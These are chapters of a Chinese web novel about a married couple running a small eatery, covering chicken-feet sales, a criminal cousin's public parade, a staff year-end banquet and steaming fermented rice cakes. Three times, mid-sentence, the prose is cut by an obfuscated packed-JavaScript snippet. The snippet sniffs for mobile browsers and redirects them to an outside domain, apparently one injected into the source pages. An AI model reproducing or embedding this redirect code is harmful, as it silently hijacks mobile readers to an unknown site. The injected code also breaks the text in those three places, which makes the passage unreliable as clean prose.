“你家也算是卖上了贵东西了。”许东山留的那半斤鸡爪早在初五那天傍晚都送光了，吴头家不仅没有吃到鸡爪，更不知道苏月娘要卖鸡爪，“给你们捧场一下，给我装一斤半，我带去干货行里算账吃。” “抱歉啊吴头家，每个人限买一斤！店里的鸡爪实在是不多！”昨晚苏月娘和许东山琢磨了一番，除去被林捕头要走的那一斤以外，只剩下四斤多一点点，表示过要买鸡爪的客人实在太多了，苏月娘决定要搞限数这一套。 吴头家乐了，“是有信心将这鸡爪做成你家的招牌？” “对呀，我们春喜嫂做的鸡爪可是一绝呢！” 吴头家笑着看向许春喜，“哦？是春喜做的？” 正好许春喜给阿墩送来了花生汤，苏月娘拉了拉许春喜的胳膊，“我们家可不仅阿山是大厨，春喜嫂也是呢！她的三合面两天一做，一个上午就能卖空！” 吴头家大笑，“你们这儿两对兄妹可都真像！阿山和春喜手艺好人还稳重，月娘和大松一样外向机灵！” 就算许春喜没那么稳重，林大松也没那么机灵，但是好听话所有人都爱听，最后吴头家要了一斤鸡爪，苏月娘收了他十八文。 而剩下的那三斤鸡爪，还不到中午饭点，便陆陆续续地卖了出去。 —— 一晃到了十四，许东石游街示众的日子。 天亮之后，衙门便来了四个官差，将被打得两腿没有知觉的许东石扛走了。 苏月娘一直注意着隔壁的动静，官差们前脚刚走，苏月娘后脚喊了许东山、阿平阿生一起出门。 虽说游街示众这一罚没有免除，但是过程却简略了不少。 原先示众需罪犯戴着枷锁跪在囚车里游过周遭几个镇子，但是许东石都成瘫子了，被按照律法里的某些赦罪条文改为戴着枷锁躺在囚车里游三条街。 许东石做的事情实在过于可恶，先前只会暗自鄙夷他的厝边们，这回纷纷光明正大地跟在囚车后面看许东石的丑相。 苏月娘和许东山与这家子的恩怨已被外人知悉，大家对这两口子也来凑热闹的行为倒没有说什么，反倒还有熟人拉着苏月娘，朝苏月娘问起了许东石的情况。 半死不活的许东石一脸麻木地躺在囚车上听着不断灌入耳朵里的“嘀咕”声，其实，他至今都弄不大懂为什么他做了那么多事情，就这回出了事……或许是因为那哑巴背后有人，才让他倒了霉！ 囚车快要走出凤池镇了，忽然有人从囚车外朝里丢了臭鸡蛋和烂菜叶。 许东石被坚硬的臭鸡蛋砸得发懵，差点没被臭昏过去。 “许东石你也有今天！叫你占我女儿便宜！害我女儿嫁不出去！你这种人就该死——” 苏月娘看着发狂一样朝着囚车里的许东石发泄的老两口，忽然想起了有人与她说过许东石曾经调戏一个小姑娘，可她不知道那小姑娘因此嫁不出去。 她打趣道：“啧……许东石这种人渣怎么没没被直接打死……他这样的人能活过二十岁，你们许家老祖宗天上地下的关系都挺硬吧！” 虽然许东山很不想承认他和许东石是亲戚，但是他还是不得不承认他们老许家的祖宗还是有点本事在身上的，他在战场上遇险数回，但最后总是安然无恙。 一直走到了打锡街尾，苏月娘也失去了跟着囚车一直走的兴致，看着囚车往南俊巷走，苏月娘牵着阿生的手，与许东山道：“再走就到承天寺了，走不动了……咱们去后面买蜜饯吧！” “走吧，我带你们去！” 四个人掉了个头，往后方走去。 此处贯通关岳庙所在的土门街（1），路上车水马龙，四个人走到最边上，以防被奔跑的驴和骡冲撞到了。 今日，路上倒是有所不寻常，苏月娘才走了两步，便瞧见了一群着奇异服饰的男男女女。 男女都将头发包得严严实实的，身着颜色极为朴素的宽敞衣袍，苏月娘偷偷打量了一眼，觉得他们的五官皆是格外深邃立体。 “阿山，你看那些人！” 许东山在这一片长大，对这样打扮的人已经见怪不怪了。 “这些就是番客（2），或者是番客和我们这儿的人生的后代，今天应该是碰上了他们去清净寺礼拜的日子。” 苏月娘想起了盖在关岳庙隔壁的清净寺，清净寺颜色素白，从外头看，里里外外都是柱子，房顶圆圆胖胖，还竖了一枚月牙。 当时她还问过许东山那是什么，许东山还和她解释过一回。 “很少见呢……” “你出来得少，而且他们好几天才去寺里一次，所以你也就没有碰到过。” 同样没有见过这样的人的阿平时不时朝着人家投去好奇的眼神，许东山觉得他这样太过失礼，便捏着他的后脖子，将他的脑袋转了回来。 “别这样一直盯着人家看。” 阿平乖巧地点头。 …… 一刻钟之后，四个人到达了售卖蜜饯的地方，苏月娘没想到如此古朴的一排民宅大巷里头会藏着一家生意火爆的蜜饯铺子。 铺子外面排起了折了两折的长龙，许东山迅速跑上去占了个位置。 “怎么这么多人？这得等多久！”苏月娘踮着脚尖往店铺门口张望。 “应该得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691940|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等挺久的，不过马上年兜了，这里的蜜饯都是管够的，你要是累了，就先带着阿生阿平去路边坐一会儿，我来排就好。” 苏月娘往周边一瞧，见周边拴着不少臭烘烘的驴子骡子，她皱着脸摇摇头，她才不想将自己才刚穿两个时辰的衣裳弄脏呢。 排了两刻多钟，才轮到许东山和苏月娘买。 累得快要冒烟的蜜饯铺子伙计靠在门边，半死不活地问道：“您两位要点什么？” “话梅、李饼、腌橄榄、梅脯各来三斤。” 店里的蜜饯太出名，许多人大老远过来买，不仅是自己买，还给帮着身边人过来买，许东山这种一口气买了十几斤，伙计已经见怪不怪了。 “后生家，他家的腌油柑味道也不错！”排在许东山身后的一个热心阿嬷大声道。 “要吗？如果你们买上三斤的话，另押十文钱，借你们一个小罐子装回去！有空再将罐子还来换押金便成！”麻雀虽小五脏俱全，这伙计还从身后摸出一个小罐子出来。 “来都来了，不差这一点！来上三斤吧！”苏月娘从荷包里翻出一大串丁零当啷的铜钱等着付账。 那些个蜜饯已经事先用油纸包按两斤、一斤的量包好了，只有油柑是需要另外从大腌桶里捞出来称的。 “这些油柑有点腌汁，三斤油柑给你称三斤一，另外放上三勺腌汁！”说话间，手脚麻利的伙计已经将油柑称好递给了许东山。 苏月娘照着门头上钉着的价目付了账。 “这油柑你好好捧着，当练你的小身板了！不许撒了！”许东山将算上罐子和腌汁得五六斤的油柑交给了阿平，自己则是提着那十二斤蜜饯。 阿生晃了晃苏月娘的手，小声问道：“干娘，我可以先尝尝吗？” 这东西虽然是买来年兜敬天公、请人客用的，但是买了这么多回去，必然是要这家分一点，那家分一点的，提前打开尝尝味道，似乎也没有什么。 “你想吃什么，让你干爹给你拿。” “不吃油柑，其他的随便。” 走在前面的许东山闻言，往后抬起左手，让苏月娘自己挑一包，苏月娘挑了一包微微渗出紫红色汁液的梅脯，自己双手托在纸包底下，叫阿生自己解开绳子。 阿生咧着嘴，快速地将绳子解开，再小心翼翼地翻开油纸包，摸了一小把暗红色的梅脯出来，最后，将纸包重新扎好，“干爹干娘，阿平哥哥吃不吃？” “我吃。”苏月娘弯着腰，将这一包梅脯又挂回了许东山的手指头上。 “吃。”走了这么久了，许东山也口干了，吃颗杨梅做的梅脯正好解解渴。 让苏月娘拿了两颗梅脯后，阿生跑到前头去，抓了一颗梅脯垫高脚尖，让许东山弯腰，而后再将梅脯塞进许东山嘴里。 然后是阿平，阿平没那个能耐抱着罐子弯腰，便只好蹲下张嘴让阿生喂。 “好吃吧？” 阿平神情自若地点了点头。 阿生将最后两颗梅脯丢进嘴巴里，小脸顿时皱在了一块儿，“好酸好酸！阿平哥哥你骗我！” 阿平笑了。 苏月娘和许东山也忍不住笑出了声。 不过这入口极酸的梅脯含上一会儿后口舌生津，甜味上涌，酸甜皆有，风味极佳。 99. 尾牙 入了腊月之后，日子好似变快了一般，稍不留神，就到了十六——做尾牙的日子。 天暗摸摸的，苏月娘难得早醒一回，平躺在床上，静听着窗外呼呼的风声和许东山平稳的呼吸声。 离年兜还有不到半个月，想着钱庄里还存着的那一大笔自己勉强能够数清楚的钱，苏月娘美滋滋地踹了踹还在熟睡的许东山。 许东山有些发懵地转过头，将脸埋在柔软的枕头里好一会儿，才慢慢抬头看着苏月娘。 “今天是尾牙，要请大家吃饭，你早点起来安排。” “昨天不是和你说了已经付了菜金，晚点过去拿吗？”许东山往窗子那儿张望一眼，糊窗纸上半点光不透，想来是离卯正还有好一会儿。 苏月娘往他怀里一扑，“忘了忘了……你就当我贵人多忘事吧！” 被苏月娘吵醒了，许东山半点不恼火，他将他的贵人结结实实抱着，将温暖渡给她。 今天是尾牙，是头家宴请手下长工的日子，照旧俗，头家请了尾牙后，长工便能够放假了，但自家不同，得一直干到二十六才能放年兜假。 …… 卯时，许东山和林大松在厨房碰头了。 林大松见了他的第一句话便是，“今晚上月娘打算请我们吃什么好吃的？” 许东山一边捆着装满虾糠的布包，一边想着自己昨日和人家定下的那些菜，“已经和人家定好菜了，晚点出去拿回来，另外看看有什么想吃的，我拿点钱给你，你自己去买。” 林大松点点头，为这尾牙宴而开心。 “阿平啊阿平你这小子可真是来得恰恰好！这才干没几天的活，就遇上了两顿……哦不三顿好酒菜！”林大松走到正在调浮粿面糊的阿平身边给卤锅生火。 阿平悄悄数了数，师父生辰一顿，拜师宴一顿，今天的尾牙又是一顿，自打跟了师父师娘，他吃过的席可比过去十几年都多。 天光微亮之时，许东山打开了大门，准备迎接新一天的客人。 一向勤快的吴头家又是做了头一个上门的，与往日不同，今天他是自己一个人过来的。 许东山见是吴头家，照老样子，给他来了一碗满满当当的面线糊。 “今天阿墩怎么没有过来？”私塾十日休沐一回，许东山记得今日并不是休沐日。 吴头家乐呵了两声，“他已经开始放年兜了！估计今天这小子得睡到日头艳艳才会肯起床！” 不用带着一个懒小子去上学的日子对于吴头家来说是轻松的，天知道他每日天还不亮就得在家里和阿墩讲价讲到他愿意出门。 “对了，卤鸡爪再给我来一斤！上次那一斤分来分去的，不到一天就吃完了。” “一会儿给您装过来。”许东山拿着残余着温度的托盘回了厨房。 —— 午后闲下来的时分，林大松喊上阿平随他一起去街上拿晚上要用的菜。 许东山从钱匣子里翻出一小串钱给了林大松，“你照顾好阿平，别和他走散了！也别累到他。” “我一定会好好照顾你的宝贝大徒弟的！”林大松提起两个菜篮子，隔了好一段，就抛给了阿平，“嘿！阿平接住！” 照顾大徒弟的第一步，还没出门就让大徒弟提篮子。 菜篮子在半空中转了两圈，还没落到阿平的手里，就一个倒转，掉落在了地上，阿平赶紧跑上去蹲在地上将两个菜篮子拎起来。 许东山不悦地瞪了林大松一眼。 “拿不动不要逞强，还有……想吃什么让林大松给你买，不用替我们省钱。”许东山还是很不放心他这个又瘦又小的徒弟跟着林大松这么个不靠谱的人上街。 还是头一回出去买菜的阿平连忙点头。 看着自家表哥和阿平勾肩搭背离开的背影，苏月娘笑得不行，“你看阿平被我哥揽着像不像被拎着的小鸡仔？” 许东山一瞧，这阿平还真是像小鸡仔，他暗自下定决心，至少将这大徒弟练成跟林大松差不多大小的身板。 殊不知，林大松已经赶在他前头开始帮着练练阿平的小身板了。 上回的牛肉羹被大家伙吃得一块都不剩，许东山自己打听了许久，总算提前两日打听到有一家的牛又要往田埂上撞了。 林大松带着阿平鬼鬼祟祟地拐进卖牛的那户人家里，报上了许东山的名号，那户人家的男主人很快从屋里提出了沉重的牛骨头、牛肉和牛蹄筋。 男主人正要将牛骨头和牛肉放到林大松的篮子里，林大松赶忙把阿平推了上去，“这两样东西你放他篮子里！牛蹄筋放我这儿！” 男主人打量了一眼阿平，“这小孩能提得动吗？” 阿平看着比自己大腿都粗的牛骨和那一大块牛肉，硬着头皮点了点头。 牛骨头和牛肉一放进去，阿平的两条胳膊往下一沉，林大松扶了他一把，帮他站稳了。 照顾大徒弟的第二步，有重物都让大徒弟拎。 美其名曰：“阿平，你多练一练。” 接下来，林大松又带着阿平从猪肉铺、羊肉铺、惠安女、蟳蜅女以及菜贩那儿取了东西，直到阿平手里的菜篮子都冒出一座山了，林大松才良心发现一般地将剩下的菜放在自己的篮子里。 两个人回到了店里，一进门，刚做完牙的苏月娘看到捧着小山篮子的阿平两条胳膊打颤似大水蚁（1）扑腾，忙冲上去搭了一把手。 “不是让你好好照顾阿平吗？你就是这么照顾的？” 还没等林大松解释，许春喜气冲冲地朝他走了过去，一手揪起他的耳朵狠狠骂道：“难怪你这么积极地要带阿平去拿菜！原来是想把阿平当驴使！” 林大松一边隔着许春喜的手捂着耳朵，“我就是好心带他出去练一练！” 苏月娘关切问道：“阿平，累不累啊？” 阿平摇了摇头，除了气喘脸红以外，看起来没有任何异样。 …… 能来店里吃饭的，多是手上有点小钱、在外给人做工的人，今天手里稍有富余的头家们都会办一场尾牙宴犒劳长工，决定来年长工的去留，今日傍晚上门吃饭的人注定不多，鸭子也就少备了一半。 鸭子一卖完，苏月娘便在大门上将打烊招牌翻了过来，跟着大家伙一起钻进厨房准备今天晚上的尾牙宴。 难得大家伙都挤在厨房里干活，厨房里热闹得不行。 “林大松，你去把盆里那几只红鲟刷了！” “林大松，你赶紧过来生火！” “林大松——” 自打午后回来，林大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699089|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松便开始夹着尾巴做人，现下许东山和许春喜兄妹俩轮番磋磨他，他便只能苦哈哈地听话干着，半点不敢反抗。 苏月娘瞪着溜圆的眼睛看着林大松忙东忙西，她赶忙找出还带着一点血水的牛肉丢在案板上，对着灶边的林大松喊道：“林大松，你过来把牛肉切了！” 林大松或许会屈服于大舅哥和媳妇的威压之下，但是对于苏月娘这个小表妹，他是半点没在怕的。 “就你还想使唤我！没门！”林大松冲着苏月娘呲牙咧嘴，那模样看着比哦屁还傻。 苏月娘朝着林大松跑去，抬起脚，用绣花鞋头往林大松屁股上轻轻一踹，半只脚在灶里的林大松就这么毫无防备地往灶池里扑了进去。 好在今早许东山刚往灶池里放了新的干叶子，林大松倒也不至于摔疼。 “苏月娘！”灰头土脸的林大松顶着一头干叶子气急败坏地从灶池里爬了出来，手里抄着一截干柴作势要敲苏月娘。 苏月娘赶忙跑回许东山身后躲着，“阿山救我！林大松这个混蛋要打我！” 许东山举着菜刀冷眼扫去，许春喜半路拦出，将林大松揪走了，兄妹俩的打闹以林大松的失败为结局告终。 —— 夜幕即将降临，今日的尾牙宴开始了。 大桌上不仅有红鲟蒸冬粉、老鸽人参汤、豆豉蒸鳗鱼、爆炒九节虾、鲍鱼炖牛蹄筋这样极少上桌的大菜，还有大家伙念叨已久的肉夹包、牛肉羹这样的小菜。 林大松先前带过来的米酒已经喝了差不多了，方才苏月娘还特意往外跑了一趟，买了一坛子给大家作配。 好酒好菜满满当当地摆了一桌子，大家闻着味儿，干瘪的肚子不免大声抗议。 林大松甚至怂恿阿生和他一块儿先偷吃一口。 在尾牙宴正式开始之前，苏月娘端来一个小筐子，里面满满当当的都是大家伙的工钱和尾牙红封。 也就是分钱能稍微分散林大松的注意力。 “虽然吃了尾牙还得再干十天，但咱们也先把今年所有的工钱都提前结了，让大家开心开心！”在许东山的帮助下，苏月娘将沉重的工钱一串一串地分给大家伙。 林大松提起那一大串钱，眼睛发亮地看着，但一想到自己的钱都是许春喜在管，他便忍痛将工钱给许春喜递了过去。 许春喜看他那一副肉痛的样子觉得有些好笑，“罢了罢了……允许你今天晚上抱着钱开心一晚！明天早上再给我！” 一旁的阿平摸着自己那一串比别人少的一大半的钱，嘴角差点咧到了耳根子边上去。 发完工钱，便是红封，不仅干活的人有，就连每天时不时去陪哦屁解闷的阿生也有。 除了许东山以外的每个人兜里兜外都堆满了钱。 林大松瞅着许东山空荡荡的兜，笑问道：“大哥，你怎么没有钱啊？” 苏月娘捧着酒坛子往酒碗里倒酒，“我们阿山可自觉了！都不需要抱着钱开心一晚再交钱！” 林大松瞥了许春喜那张似笑非笑的脸一眼，连忙悄悄把钱往许春喜那里推了推。 每个大人都得了一碗清亮的酒水，开席之前，苏月娘和许东山牵头，大家一起碰碗喝了半碗，约好接下来的日子继续一起好好干活，争取早日开一家分店。 100. 田螺肉碗糕 廿三甘蔗马蹄祭灶王爷，廿四开始由里向外筅尘，廿六做今年最后一日的生意。 大家都在忙着准备过年，生意虽好，却也不至于让人忙不过来，许春喜与林大松趁着闲暇不仅拾掇明日要带回浮桥的行头年货，还帮着苏月娘和许东山一起将后屋没打扫完的地方好生清洗了一番。 苏月娘待在前头招呼客人们。 今年最后一碗排骨咸饭上桌，那客人一边从筷子筒里面抽出一双筷子，一边瞧着堆在墙角的一大束甘蔗和一大筐子芦柑问道： “月娘头家，你当真明日就开始歇息了？不卖一点菜包（1）或是碗糕？” 苏月娘笑道：“我倒想，可离年兜越近，我这身子骨就越懒！你要想吃菜包碗糕，你可以去前头的包子铺或是油条铺买！这两家的我都尝过，味道不错！” 那客人将苏月娘的话记下了。 先前苏月娘就听说过年兜前后，镇上的一些厝边们会将自家做的菜包和碗糕拿出来售卖，原有售卖这两样东西的心思的苏月娘立刻打消了念头。 这一年到头她已经挣得够多了，与其起早贪黑地和别人抢生意，还不如松松快快地在被窝里多睡一会儿，这样大家都有个好年能过。 苏月娘将托盘送入厨房里，这会儿厨房里的师父正叉着腰，皱着眉头看他的大徒弟切菜。 “你这样拿刀虽然切得好看了一点，但你迟早会把你的手指头剁下来！”看不过阿平拿刀姿势的许东山亲自上手，抓着阿平的手，将他的手往刀把头推，并抓着他另一手的指头往里一压，让他的指尖扣压在白菜上面。 苏月娘凑到许东山身边，“做碗糕的米浆什么时候能磨好？别赶不上给我哥他们带回去！” 许东山看阿平越切越丑，，有些无奈，“今天磨米浆的人太多了，我也掐不准什么时辰能磨好。” 苏月娘拍拍他的胳膊，“你去看看什么时候能磨好，顺便催一催你那个伯公！” 许东山看向一被骂就面露怯懦的徒弟，身为师父他要教阿平的可不止有做菜的手艺，还有让他不胆怯处事的能力。 “阿平，你去，磨米的认得你。” 磨米浆的米是许东山和阿平一起送过去的，阿平已经在许东山那个开磨坊的伯公那儿过了脸。 阿平有些迷茫地看向许东山，反应过来后，阿平犹犹豫豫地摇头，比起自己独自出去和别人比划说事，他还是更乐意待在店里一边切菜一边被师父骂。 “你不去的话，就不给你压岁钱了！” 阿平到底是才十三岁的半大孩子，压岁钱的诱惑对他来说可不小。 阿平握着菜刀想了好一会儿，才艰难地点了点头，放下菜刀，解下围身巾走出了厨房。 苏月娘自然是知道许东山的用意所在，但是她眼中的阿平只是个小豆芽菜，这几日街上热闹，人来人往的，她很是担忧阿平会被过往的人或车撞倒。 阿平一出门，苏月娘便催许东山偷偷跟上去，“你跟上去看看！顺便向卖包子的买点面肥！” —— 有阿平帮着催促，以及许东山伯公的通融，许东山在傍晚时分就将做碗糕的两桶米浆挑回了家里。 明日一早许春喜和林大松就要搭吴家送货的顺风驴车回去了，为了赶在两人回去前将碗糕蒸出来，许东山饭都没来得及吃，一进门便直奔厨房将苏月娘备好的一大碗面肥水往大米浆里头倒，并盖上了纱布任其蓬发。 下次开门做生意大概是初五过后了，晚饭过后，大家伙一起仔细将洗干净的碗筷平铺在院子里，等待明日阴干了，再收到刚打扫过的库房里存放起来。 这一日常的洒扫做完，阿平和红姑祖孙便带上苏月娘给他们准备的年货下工离开了。 桶里的米浆一时半会儿发不好，苏月娘与许东山便先行去后屋梳洗歇息。 林大松两口子已经将要带回浮桥的包袱堆放在后堂屋里了，里头大概是放了什么好吃的，哦屁这个小馋鬼摇着尾巴绕着那些包袱嗅来嗅去走来走去。 “一会儿做碗糕的时候，你可记得来喊我们出去帮忙！”许春喜原是叫苏月娘不用特意做碗糕给自己带回婆家去的，但苏月娘坚持给舅舅家送点碗糕是古时候就有的习俗，许春喜这才没再劝说苏月娘。 “我和阿山两个人就成了！你们两个明早还要赶吴家的车，就不要大半夜再起来了！” …… 子时，小憩了一会儿的许东山与苏月娘一齐起身外出去看看碗糕米浆发好没有，两人开关门走路都是轻手轻脚的，生怕将许春喜和林大松吵醒。 哦屁睡不着，索性钻出狗窝，追在爹娘身后去凑热闹了。 许东山摸黑用火折子点上一截蜡烛，端到厨房去，才刚进门，苏月娘便闻见一股酸甜的米香味。 “应该是发得差不多了！” 许东山端着烛凑近大桶，将盖在大桶上的两层纱布揭开，再用削得光滑无木刺的搅面杖往里一搅和。 浆质浓稠，提起搅面杖时还黏在上头下不来。 “还差一些，再发半个时辰差不多。” 苏月娘不信邪，她接过杖子，自己往里搅和了一下，“你胡说，这样明明就可以下锅蒸了！” 许东山还是摇头，“这样蒸出来的碗糕太软太松站不住脚，而且还吃不饱！” 苏月娘翻了个白眼给他，“年兜好吃的那么多，为什么要靠碗糕饱腹？听说过田螺肉碗糕没有？这样的米浆做出来的碗糕就叫做田螺肉！而且这东西放凉了还不会那么轻易变干，吃了也不容易噎嗓子！” 虽说许东山习惯吃发得久一点的米浆做的碗糕，但是苏月娘都开口了，他也不介意换换口味，“好，这就开做。” 苏月娘笑着将差点将脑袋伸进桶里的哦屁抓到怀里，“先做一半，另一半做成你爱吃的那种。” 接下来，许东山倒水生火，苏月娘将早两日就洗好的老瓷碗排在空荡无一物的长台上，当时洗这小瓷碗时，许春喜还同她说了，这瓷碗传了得有好几十年了，许家近几辈过年时都会用这瓷碗来炊碗糕。 蜡烛摆在案头，苏月娘手上抓着一块叠好的纱布，从油碗里蘸上点油，仔仔细细地抹满了碗口还没拳头大的老瓷碗的碗壁。 许东山将火生了起来后，便起身着手抱起其中一个大桶，跟在苏月娘身后往瓷碗里倒发好的米浆。 米浆入锅蒸后会膨胀长高，若是加少了，发不出碗沿，无法开裂成瓣，若是加多了，这碗糕定然会栽倒在锅里歪了形状。 许东山很是谨慎地每一碗下半勺，约莫七分的量。 第一锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704546|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五十个碗糕灌好了米浆，两口大锅里的水也烧滚了。 夫妻俩分头干活，取了家里最大的蒸架支在大锅上，每个锅放上二十五个瓷碗，这些个瓷碗在锅里密密麻麻地挤在了一块儿，有几个碗还只能斜着倾放在架沿。 盖上锅盖后，苏月娘将被水汽烫红了的两手摁在发凉的脸颊上用力搓了搓。 许东山瞧见苏月娘一直搓脸，蹙着眉头举蜡烛走上前去，将她的两只手握着来回察看。 好在苏月娘的手背只是被水汽灼了一下，白皙的手背上泛着粉红，用凉水冲一会儿大抵就会恢复如常。 “这都能烫伤……比阿平还笨！”许东山拉上苏月娘往院子走。 苏月娘瞪他，“我比他聪明多了好吧！你不要胡说八道！” 追在后面的哦屁，“汪汪！” 许东山笑而不语地抓着水瓢从缸里舀水，来回冲在苏月娘的手背上。 …… 还没入锅就香的米浆被热水这么一焖蒸，圈在锅盖边上的那一大坨沉重的湿抹布都没能阻挡甜中带着微酸的醇厚酵米香从锅里窜出来。 难得堂屋里只有两个人独处，苏月娘也就放大了胆子坐在许东山的腿上跟他靠在一起暖和暖和。 等碗糕出锅的时间实在难捱，苏月娘索性摸黑吃起了多买的麻粩，许东山听着耳边的清脆的嚼声想也知道苏月娘是边吃边掉渣。 “连轴转了大半年了，就盼着年底这一口甜的。” 许东山笑了一声，虽说苏月娘每天都变着法地买各种各样的吃食犒劳自己，但她好像永远都能就着新的吃食发出新的感慨。 “当然了……也是因为你的帮忙，我这一年才能赚这么多钱，吃到这么多好吃的！”苏月娘说到兴头上，便撅着嘴，赏了许东山一个带着碎渣渣的吻。 许东山好似尝到了麻粩的味道，“甜的……” “甜的？你也想吃吗？我可以分你一口。”苏月娘举着麻粩尾巴往许东山嘴上一怼。 东西都送到嘴边了，许东山也就给面子地咬了一口。 碗糕在锅里蒸了两刻钟也差不多能出过锅了，皮糙肉厚的许师傅自然是承担了将碗糕从锅里取出来的任务。 五十个开满白白胖胖的糕花的小碗排布在长台上，冒出的热气在窗外投进的皎洁光束中显现。 苏月娘被烫怕了，这会儿就只是弯着腰，凑在边上闻闻味道，“这碗糕笑（2）得很漂亮呢！” 每一块软软弹弹的白色碗糕顶上都裂出了三到四个大小不均的瓣，大家都管这个形状叫笑。 “小心鼻子被烫伤。”许东山一手将苏月娘的脑袋扳了回来，“你可以趁着这些碗糕还没凉赶紧点花。” “你不说我都快忘了这事儿！”苏月娘从一旁端起已经准备好许久的红花米水，用筷子做成的四方格花印沾一点，每一块碗糕挑一瓣印上一个。 “小时候家里也是大半夜做碗糕，春喜总是闹着我爹娘要将点花的活留给她早上起来做。”许东山看苏月娘兴致勃勃地点着碗糕，往事浮上心头。 “大多数小孩都喜欢干这个吧！小时候我不懂一块碗糕点一朵，给每一瓣都点了，气得我娘朝着棍子追着我打！”苏月娘手一点一抬之间，五十个白胖的田螺肉碗糕都印上了喜庆的小小四方花。 101. 鸡卷 年兜将近，没有事情在身后追着，林大松和许春喜难得一块儿睡到了天际泛起了一小抹鱼肚白才醒来。 几乎是一睁开眼睛，厨房里浓郁的碗糕香气便钻进了两个人的鼻子里，林大松用力吸了两口，肚子虽咕咕叫，但他半点都不想起床。 “春喜，咱们马上回家过年了！”林大松心里开心，两手抱着许春喜压在身下一阵猛亲。 许春喜皱着脸，嫌弃地将林大松的脑袋推开，“闪开闪开！” “你看这段时日我不是要看大哥的脸色，就是累到不能动弹……好春喜，你可怜可怜我吧！”林大松不知道何时解了衣裳，丢出被窝。 时辰还早，许春喜也就陪着林大松胡闹了一回。 …… 前屋里，熬了个通宵的苏月娘单手撑在桌子上，眼皮子打了好一会儿的架。 “吱呀——”大门被从外推开，外头蒙蒙光亮洒入堂屋，苏月娘的脸从手掌上滑下，她瞬间清醒了过来。 许东山手上提着一桶还在冒烟的豆花，四处张望，“春喜和林大松还没起来？” 苏月娘摇了摇头，伸长脖子往桶里面瞧，“不是说买豆浆吗？怎么买了豆花？” “刚刚在路上碰见阿莲，和她说了一会儿去她家送碗糕，她说今天豆花做得多，就给我舀了半桶让我带回来。”许东山捏了捏苏月娘被手掌压红了的脸颊，“我去把田螺肉热一热，你吃饱了再回去睡。” 两刻钟后，天光大亮，苏月娘陆陆续续地吃了个半饱，林大松和许春喜才扛着要带回浮桥的包袱从里头出来。 “一大早就闻见碗糕的香味了！”林大松将包袱往堂屋角落里一甩，径直走到桌边去捏了一块温热的碗糕掰成两半，一半自己叼着，一半塞到许春喜的嘴里。 许春喜将手中的小包袱叠在林大松的大包袱上，再将口中的那块弹牙的白胖碗糕咬断，碗糕坠在舌头上，先是甜味满口，待咀嚼了两口过后，与馒头一般的微酸便反了上来。 “蒸这个是月娘的主意吧？” 许东山点头。 许春喜往苏月娘身边一坐，苏月娘便将一碗已经淋上红糖的豆花给她递过来，“路这么远，你们两个吃饱一点。” 又啃了一大口碗糕后，许春喜含糊不清地控诉道： “某些人成亲后跟变了个人似的，去年和某个人一起过年的时候，和他说好了做软一点的碗糕，结果他背着我把米浆多发了好长一段时间，做成了硬的！我让他重做，他还不肯，还说没那闲工夫！” 被点到的许东山含着半口豆花，朝许春喜投去一个不悦的眼神。 “唉，某些人他听不得我揭他老底，还瞪我呢！等我和林大松走了，你关起门来，好好教训教训这个臭男人！”许春喜撞了撞苏月娘的胳膊。 苏月娘乐不可支地点了点头。 许春喜和林大松吃完早饭，也差不多到时候离开了，两人要带回去的不止有先前收好的衣物，还有苏月娘和许东山给他们置办的一份年货。 苏月娘与许东山帮着两口子分担了一部分东西，一直将他们送到吴家的铺子门口。 看着驴车消失在了街头，苏月娘才挽着许东山的胳膊往回走，准备给红姑和阿莲送碗糕。 两人这家留一会儿，那家待一会儿，顺带买一些午后要做鸡卷的食材，回到家也才巳时出头，苏月娘与许东山各自擦洗一番，换了寝衣便依偎着躺下了。 窗前拉着一道帘子，将外头的光亮挡了大半，天井那儿时不时传来哦屁追着布球玩的声响。 许东山静默了一瞬，想起了妹妹妹夫已经不在家了。 “月娘……” “干嘛？”苏月娘揉揉眼睛，准备入睡了。 “他们两个走了……” 苏月娘睁开眼睛，嘴角上扬，平日里表兄表嫂在，她也没法太尽兴。 于是两口子就这么干柴碰烈火地滚到了一起，一直到了正午才歇下来。 —— 午后，两口子神清气爽地醒来了。 房门一打开，被晾一整天的哦屁趴在门边幽怨地盯着许东山和苏月娘，嘴里还“呜呜”地哼唧着。 苏月娘挂在许东山的后背上垂眸看着可怜兮兮的哦屁，忽然拍了拍自己的脑门，“糟糕！忘记给哦屁做狗饭了！” 许东山将苏月娘往上提了提，对着脚边的小狗道：“来厨房，给你热一点昨天的剩饭。” 哦屁一听爹娘终于想起了给自己喂饭的事情，赶忙摇着小尾巴，叼上角落里的狗碗，紧紧地追在许东山的脚边。 